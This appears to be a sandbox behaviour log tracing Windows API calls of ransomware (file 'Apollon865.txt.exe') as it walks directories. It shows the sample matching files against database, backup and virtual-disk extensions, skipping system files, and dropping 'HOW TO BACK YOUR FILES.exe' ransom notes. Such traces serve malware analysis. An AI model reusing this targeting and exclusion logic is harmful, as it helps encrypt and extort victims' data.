	[0054.502] lstrcmpiW (lpString1="lis", lpString2="mdf") returned -1
	[0054.502] lstrlenW (lpString="mdb") returned 3
	[0054.502] lstrcmpiW (lpString1="lis", lpString2="mdb") returned -1
	[0054.502] lstrlenW (lpString="sql") returned 3
	[0054.502] lstrcmpiW (lpString1="lis", lpString2="sql") returned -1
	[0054.502] lstrlenW (lpString="sqlite") returned 6
	[0054.502] lstrlenW (lpString="sqlite3") returned 7
	[0054.502] lstrlenW (lpString="sqlitedb") returned 8
	[0054.502] lstrlenW (lpString="xml") returned 3
	[0054.503] lstrcmpiW (lpString1="lis", lpString2="xml") returned -1
	[0054.503] lstrlenW (lpString="$er") returned 3
	[0054.503] lstrcmpiW (lpString1="lis", lpString2="$er") returned 1
	[0054.503] lstrlenW (lpString="4dd") returned 3
	[0054.503] lstrcmpiW (lpString1="lis", lpString2="4dd") returned 1
	[0054.503] lstrlenW (lpString="4dl") returned 3
	[0054.503] lstrcmpiW (lpString1="lis", lpString2="4dl") returned 1
	[0054.503] lstrlenW (lpString="^^^") returned 3
	[0054.503] lstrcmpiW (lpString1="lis", lpString2="^^^") returned 1
	[0054.503] lstrlenW (lpString="abs") returned 3
	[0054.503] lstrcmpiW (lpString1="lis", lpString2="abs") returned 1
	[0054.503] lstrlenW (lpString="abx") returned 3
	[0054.503] lstrcmpiW (lpString1="lis", lpString2="abx") returned 1
	[0054.503] lstrlenW (lpString="accdb") returned 5
	[0054.503] lstrcmpiW (lpString1="allis", lpString2="accdb") returned 1
	[0054.503] lstrlenW (lpString="accdc") returned 5
	[0054.503] lstrcmpiW (lpString1="allis", lpString2="accdc") returned 1
	[0054.503] lstrlenW (lpString="accde") returned 5
	[0054.503] lstrcmpiW (lpString1="allis", lpString2="accde") returned 1
	[0054.503] lstrlenW (lpString="accdr") returned 5
	[0054.503] lstrcmpiW (lpString1="allis", lpString2="accdr") returned 1
	[0054.503] lstrlenW (lpString="accdt") returned 5
	[0054.503] lstrcmpiW (lpString1="allis", lpString2="accdt") returned 1
	[0054.503] lstrlenW (lpString="accdw") returned 5
	[0054.503] lstrcmpiW (lpString1="allis", lpString2="accdw") returned 1
	[0054.503] lstrlenW (lpString="accft") returned 5
	[0054.503] lstrcmpiW (lpString1="allis", lpString2="accft") returned 1
	[0054.503] lstrlenW (lpString="adb") returned 3
	[0054.503] lstrcmpiW (lpString1="lis", lpString2="adb") returned 1
	[0054.503] lstrlenW (lpString="adb") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="adb") returned 1
	[0054.504] lstrlenW (lpString="ade") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="ade") returned 1
	[0054.504] lstrlenW (lpString="adf") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="adf") returned 1
	[0054.504] lstrlenW (lpString="adn") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="adn") returned 1
	[0054.504] lstrlenW (lpString="adp") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="adp") returned 1
	[0054.504] lstrlenW (lpString="alf") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="alf") returned 1
	[0054.504] lstrlenW (lpString="ask") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="ask") returned 1
	[0054.504] lstrlenW (lpString="btr") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="btr") returned 1
	[0054.504] lstrlenW (lpString="cat") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="cat") returned 1
	[0054.504] lstrlenW (lpString="cdb") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="cdb") returned 1
	[0054.504] lstrlenW (lpString="ckp") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="ckp") returned 1
	[0054.504] lstrlenW (lpString="cma") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="cma") returned 1
	[0054.504] lstrlenW (lpString="cpd") returned 3
	[0054.504] lstrcmpiW (lpString1="lis", lpString2="cpd") returned 1
	[0054.505] lstrlenW (lpString="dacpac") returned 6
	[0054.505] lstrlenW (lpString="dad") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dad") returned 1
	[0054.505] lstrlenW (lpString="dadiagrams") returned 10
	[0054.505] lstrlenW (lpString="daschema") returned 8
	[0054.505] lstrlenW (lpString="db-journal") returned 10
	[0054.505] lstrlenW (lpString="db-shm") returned 6
	[0054.505] lstrlenW (lpString="db-wal") returned 6
	[0054.505] lstrlenW (lpString="dbc") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dbc") returned 1
	[0054.505] lstrlenW (lpString="dbs") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dbs") returned 1
	[0054.505] lstrlenW (lpString="dbt") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dbt") returned 1
	[0054.505] lstrlenW (lpString="dbv") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dbv") returned 1
	[0054.505] lstrlenW (lpString="dbx") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dbx") returned 1
	[0054.505] lstrlenW (lpString="dcb") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dcb") returned 1
	[0054.505] lstrlenW (lpString="dct") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dct") returned 1
	[0054.505] lstrlenW (lpString="dcx") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="dcx") returned 1
	[0054.505] lstrlenW (lpString="ddl") returned 3
	[0054.505] lstrcmpiW (lpString1="lis", lpString2="ddl") returned 1
	[0054.505] lstrlenW (lpString="dlis") returned 4
	[0054.505] lstrcmpiW (lpString1="llis", lpString2="dlis") returned 1
	[0054.505] lstrlenW (lpString="dp1") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="dp1") returned 1
	[0054.506] lstrlenW (lpString="dqy") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="dqy") returned 1
	[0054.506] lstrlenW (lpString="dsk") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="dsk") returned 1
	[0054.506] lstrlenW (lpString="dsn") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="dsn") returned 1
	[0054.506] lstrlenW (lpString="dtsx") returned 4
	[0054.506] lstrcmpiW (lpString1="llis", lpString2="dtsx") returned 1
	[0054.506] lstrlenW (lpString="dxl") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="dxl") returned 1
	[0054.506] lstrlenW (lpString="eco") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="eco") returned 1
	[0054.506] lstrlenW (lpString="ecx") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="ecx") returned 1
	[0054.506] lstrlenW (lpString="edb") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="edb") returned 1
	[0054.506] lstrlenW (lpString="epim") returned 4
	[0054.506] lstrcmpiW (lpString1="llis", lpString2="epim") returned 1
	[0054.506] lstrlenW (lpString="fcd") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="fcd") returned 1
	[0054.506] lstrlenW (lpString="fdb") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="fdb") returned 1
	[0054.506] lstrlenW (lpString="fic") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="fic") returned 1
	[0054.506] lstrlenW (lpString="flexolibrary") returned 12
	[0054.506] lstrlenW (lpString="fm5") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="fm5") returned 1
	[0054.506] lstrlenW (lpString="fmp") returned 3
	[0054.506] lstrcmpiW (lpString1="lis", lpString2="fmp") returned 1
	[0054.506] lstrlenW (lpString="fmp12") returned 5
	[0054.507] lstrcmpiW (lpString1="allis", lpString2="fmp12") returned -1
	[0054.507] lstrlenW (lpString="fmpsl") returned 5
	[0054.507] lstrcmpiW (lpString1="allis", lpString2="fmpsl") returned -1
	[0054.507] lstrlenW (lpString="fol") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="fol") returned 1
	[0054.507] lstrlenW (lpString="fp3") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="fp3") returned 1
	[0054.507] lstrlenW (lpString="fp4") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="fp4") returned 1
	[0054.507] lstrlenW (lpString="fp5") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="fp5") returned 1
	[0054.507] lstrlenW (lpString="fp7") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="fp7") returned 1
	[0054.507] lstrlenW (lpString="fpt") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="fpt") returned 1
	[0054.507] lstrlenW (lpString="frm") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="frm") returned 1
	[0054.507] lstrlenW (lpString="gdb") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="gdb") returned 1
	[0054.507] lstrlenW (lpString="gdb") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="gdb") returned 1
	[0054.507] lstrlenW (lpString="grdb") returned 4
	[0054.507] lstrcmpiW (lpString1="llis", lpString2="grdb") returned 1
	[0054.507] lstrlenW (lpString="gwi") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="gwi") returned 1
	[0054.507] lstrlenW (lpString="hdb") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="hdb") returned 1
	[0054.507] lstrlenW (lpString="his") returned 3
	[0054.507] lstrcmpiW (lpString1="lis", lpString2="his") returned 1
	[0054.508] lstrlenW (lpString="ib") returned 2
	[0054.508] lstrcmpiW (lpString1="is", lpString2="ib") returned 1
	[0054.508] lstrlenW (lpString="idb") returned 3
	[0054.508] lstrcmpiW (lpString1="lis", lpString2="idb") returned 1
	[0054.508] lstrlenW (lpString="ihx") returned 3
	[0054.508] lstrcmpiW (lpString1="lis", lpString2="ihx") returned 1
	[0054.508] lstrlenW (lpString="itdb") returned 4
	[0054.508] lstrcmpiW (lpString1="llis", lpString2="itdb") returned 1
	[0054.508] lstrlenW (lpString="itw") returned 3
	[0054.508] lstrcmpiW (lpString1="lis", lpString2="itw") returned 1
	[0054.508] lstrlenW (lpString="jet") returned 3
	[0054.508] lstrcmpiW (lpString1="lis", lpString2="jet") returned 1
	[0054.508] lstrlenW (lpString="jtx") returned 3
	[0054.508] lstrcmpiW (lpString1="lis", lpString2="jtx") returned 1
	[0054.508] lstrlenW (lpString="kdb") returned 3
	[0054.508] lstrcmpiW (lpString1="lis", lpString2="kdb") returned 1
	[0054.508] lstrlenW (lpString="kexi") returned 4
	[0054.508] lstrcmpiW (lpString1="llis", lpString2="kexi") returned 1
	[0054.508] lstrlenW (lpString="kexic") returned 5
	[0054.508] lstrcmpiW (lpString1="allis", lpString2="kexic") returned -1
	[0054.508] lstrlenW (lpString="kexis") returned 5
	[0054.508] lstrcmpiW (lpString1="allis", lpString2="kexis") returned -1
	[0054.508] lstrlenW (lpString="lgc") returned 3
	[0054.508] lstrcmpiW (lpString1="lis", lpString2="lgc") returned 1
	[0054.508] lstrlenW (lpString="lwx") returned 3
	[0054.508] lstrcmpiW (lpString1="lis", lpString2="lwx") returned -1
	[0054.509] lstrlenW (lpString="maf") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="maf") returned -1
	[0054.509] lstrlenW (lpString="maq") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="maq") returned -1
	[0054.509] lstrlenW (lpString="mar") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mar") returned -1
	[0054.509] lstrlenW (lpString="marshal") returned 7
	[0054.509] lstrlenW (lpString="mas") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mas") returned -1
	[0054.509] lstrlenW (lpString="mav") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mav") returned -1
	[0054.509] lstrlenW (lpString="maw") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="maw") returned -1
	[0054.509] lstrlenW (lpString="mdbhtml") returned 7
	[0054.509] lstrlenW (lpString="mdn") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mdn") returned -1
	[0054.509] lstrlenW (lpString="mdt") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mdt") returned -1
	[0054.509] lstrlenW (lpString="mfd") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mfd") returned -1
	[0054.509] lstrlenW (lpString="mpd") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mpd") returned -1
	[0054.509] lstrlenW (lpString="mrg") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mrg") returned -1
	[0054.509] lstrlenW (lpString="mud") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mud") returned -1
	[0054.509] lstrlenW (lpString="mwb") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="mwb") returned -1
	[0054.509] lstrlenW (lpString="myd") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="myd") returned -1
	[0054.509] lstrlenW (lpString="ndf") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="ndf") returned -1
	[0054.509] lstrlenW (lpString="nnt") returned 3
	[0054.509] lstrcmpiW (lpString1="lis", lpString2="nnt") returned -1
	[0054.510] lstrlenW (lpString="nrmlib") returned 6
	[0054.510] lstrlenW (lpString="ns2") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="ns2") returned -1
	[0054.510] lstrlenW (lpString="ns3") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="ns3") returned -1
	[0054.510] lstrlenW (lpString="ns4") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="ns4") returned -1
	[0054.510] lstrlenW (lpString="nsf") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="nsf") returned -1
	[0054.510] lstrlenW (lpString="nv") returned 2
	[0054.510] lstrcmpiW (lpString1="is", lpString2="nv") returned -1
	[0054.510] lstrlenW (lpString="nv2") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="nv2") returned -1
	[0054.510] lstrlenW (lpString="nwdb") returned 4
	[0054.510] lstrcmpiW (lpString1="llis", lpString2="nwdb") returned -1
	[0054.510] lstrlenW (lpString="nyf") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="nyf") returned -1
	[0054.510] lstrlenW (lpString="odb") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="odb") returned -1
	[0054.510] lstrlenW (lpString="odb") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="odb") returned -1
	[0054.510] lstrlenW (lpString="oqy") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="oqy") returned -1
	[0054.510] lstrlenW (lpString="ora") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="ora") returned -1
	[0054.510] lstrlenW (lpString="orx") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="orx") returned -1
	[0054.510] lstrlenW (lpString="owc") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="owc") returned -1
	[0054.510] lstrlenW (lpString="p96") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="p96") returned -1
	[0054.510] lstrlenW (lpString="p97") returned 3
	[0054.510] lstrcmpiW (lpString1="lis", lpString2="p97") returned -1
	[0054.510] lstrlenW (lpString="pan") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="pan") returned -1
	[0054.511] lstrlenW (lpString="pdb") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="pdb") returned -1
	[0054.511] lstrlenW (lpString="pdm") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="pdm") returned -1
	[0054.511] lstrlenW (lpString="pnz") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="pnz") returned -1
	[0054.511] lstrlenW (lpString="qry") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="qry") returned -1
	[0054.511] lstrlenW (lpString="qvd") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="qvd") returned -1
	[0054.511] lstrlenW (lpString="rbf") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="rbf") returned -1
	[0054.511] lstrlenW (lpString="rctd") returned 4
	[0054.511] lstrcmpiW (lpString1="llis", lpString2="rctd") returned -1
	[0054.511] lstrlenW (lpString="rod") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="rod") returned -1
	[0054.511] lstrlenW (lpString="rodx") returned 4
	[0054.511] lstrcmpiW (lpString1="llis", lpString2="rodx") returned -1
	[0054.511] lstrlenW (lpString="rpd") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="rpd") returned -1
	[0054.511] lstrlenW (lpString="rsd") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="rsd") returned -1
	[0054.511] lstrlenW (lpString="sas7bdat") returned 8
	[0054.511] lstrlenW (lpString="sbf") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="sbf") returned -1
	[0054.511] lstrlenW (lpString="scx") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="scx") returned -1
	[0054.511] lstrlenW (lpString="sdb") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="sdb") returned -1
	[0054.511] lstrlenW (lpString="sdc") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="sdc") returned -1
	[0054.511] lstrlenW (lpString="sdf") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="sdf") returned -1
	[0054.511] lstrlenW (lpString="sis") returned 3
	[0054.511] lstrcmpiW (lpString1="lis", lpString2="sis") returned -1
	[0054.512] lstrlenW (lpString="spq") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="spq") returned -1
	[0054.512] lstrlenW (lpString="te") returned 2
	[0054.512] lstrcmpiW (lpString1="is", lpString2="te") returned -1
	[0054.512] lstrlenW (lpString="teacher") returned 7
	[0054.512] lstrlenW (lpString="tmd") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="tmd") returned -1
	[0054.512] lstrlenW (lpString="tps") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="tps") returned -1
	[0054.512] lstrlenW (lpString="trc") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="trc") returned -1
	[0054.512] lstrlenW (lpString="trc") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="trc") returned -1
	[0054.512] lstrlenW (lpString="trm") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="trm") returned -1
	[0054.512] lstrlenW (lpString="udb") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="udb") returned -1
	[0054.512] lstrlenW (lpString="udl") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="udl") returned -1
	[0054.512] lstrlenW (lpString="usr") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="usr") returned -1
	[0054.512] lstrlenW (lpString="v12") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="v12") returned -1
	[0054.512] lstrlenW (lpString="vis") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="vis") returned -1
	[0054.512] lstrlenW (lpString="vpd") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="vpd") returned -1
	[0054.512] lstrlenW (lpString="vvv") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="vvv") returned -1
	[0054.512] lstrlenW (lpString="wdb") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="wdb") returned -1
	[0054.512] lstrlenW (lpString="wmdb") returned 4
	[0054.512] lstrcmpiW (lpString1="llis", lpString2="wmdb") returned -1
	[0054.512] lstrlenW (lpString="wrk") returned 3
	[0054.512] lstrcmpiW (lpString1="lis", lpString2="wrk") returned -1
	[0054.512] lstrlenW (lpString="xdb") returned 3
	[0054.513] lstrcmpiW (lpString1="lis", lpString2="xdb") returned -1
	[0054.513] lstrlenW (lpString="xld") returned 3
	[0054.513] lstrcmpiW (lpString1="lis", lpString2="xld") returned -1
	[0054.513] lstrlenW (lpString="xmlff") returned 5
	[0054.513] lstrcmpiW (lpString1="allis", lpString2="xmlff") returned -1
	[0054.513] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wallis", cAlternateFileName="")) returned 0
	[0054.513] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0054.513] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0054.513] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian"
	[0054.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5730 | out: hHeap=0x580000) returned 1
	[0054.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0054.513] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned 46
	[0054.513] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian"
	[0054.513] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.513] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.544] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.544] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3895baf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3895baf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.544] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.544] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.544] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.544] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3895baf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3895baf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.544] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.544] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.544] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.544] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.544] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Antananarivo", cAlternateFileName="ANTANA~1")) returned 1
	[0054.544] lstrcmpiW (lpString1="Antananarivo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.544] lstrcmpiW (lpString1="Antananarivo", lpString2="Apollon865.txt.exe") returned -1
	[0054.544] lstrcmpiW (lpString1="Antananarivo", lpString2=".") returned 1
	[0054.544] lstrcmpiW (lpString1="Antananarivo", lpString2="..") returned 1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="windows") returned -1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="bootmgr") returned -1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="temp") returned -1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="pagefile.sys") returned -1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="boot") returned -1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="ids.txt") returned -1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="ntuser.dat") returned -1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="perflogs") returned -1
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2="MSBuild") returned -1
	[0054.545] lstrlenW (lpString="Antananarivo") returned 12
	[0054.545] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*") returned 48
	[0054.545] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Antananarivo" | out: lpString1="Antananarivo") returned="Antananarivo"
	[0054.545] lstrlenW (lpString="Antananarivo") returned 12
	[0054.545] lstrlenW (lpString="Apollon865") returned 10
	[0054.545] lstrcmpiW (lpString1="tananarivo", lpString2="Apollon865") returned 1
	[0054.545] lstrlenW (lpString=".dll") returned 4
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2=".dll") returned 1
	[0054.545] lstrlenW (lpString=".lnk") returned 4
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2=".lnk") returned 1
	[0054.545] lstrlenW (lpString=".ini") returned 4
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2=".ini") returned 1
	[0054.545] lstrlenW (lpString=".sys") returned 4
	[0054.545] lstrcmpiW (lpString1="Antananarivo", lpString2=".sys") returned 1
	[0054.545] lstrlenW (lpString="Antananarivo") returned 12
	[0054.545] lstrlenW (lpString="bak") returned 3
	[0054.545] lstrcmpiW (lpString1="ivo", lpString2="bak") returned 1
	[0054.545] lstrlenW (lpString="ba_") returned 3
	[0054.545] lstrcmpiW (lpString1="ivo", lpString2="ba_") returned 1
	[0054.545] lstrlenW (lpString="dbb") returned 3
	[0054.545] lstrcmpiW (lpString1="ivo", lpString2="dbb") returned 1
	[0054.545] lstrlenW (lpString="vmdk") returned 4
	[0054.545] lstrcmpiW (lpString1="rivo", lpString2="vmdk") returned -1
	[0054.545] lstrlenW (lpString="rar") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="rar") returned -1
	[0054.546] lstrlenW (lpString="zip") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="zip") returned -1
	[0054.546] lstrlenW (lpString="tgz") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="tgz") returned -1
	[0054.546] lstrlenW (lpString="vbox") returned 4
	[0054.546] lstrcmpiW (lpString1="rivo", lpString2="vbox") returned -1
	[0054.546] lstrlenW (lpString="vdi") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="vdi") returned -1
	[0054.546] lstrlenW (lpString="vhd") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="vhd") returned -1
	[0054.546] lstrlenW (lpString="vhdx") returned 4
	[0054.546] lstrcmpiW (lpString1="rivo", lpString2="vhdx") returned -1
	[0054.546] lstrlenW (lpString="avhd") returned 4
	[0054.546] lstrcmpiW (lpString1="rivo", lpString2="avhd") returned 1
	[0054.546] lstrlenW (lpString="db") returned 2
	[0054.546] lstrcmpiW (lpString1="vo", lpString2="db") returned 1
	[0054.546] lstrlenW (lpString="db2") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="db2") returned 1
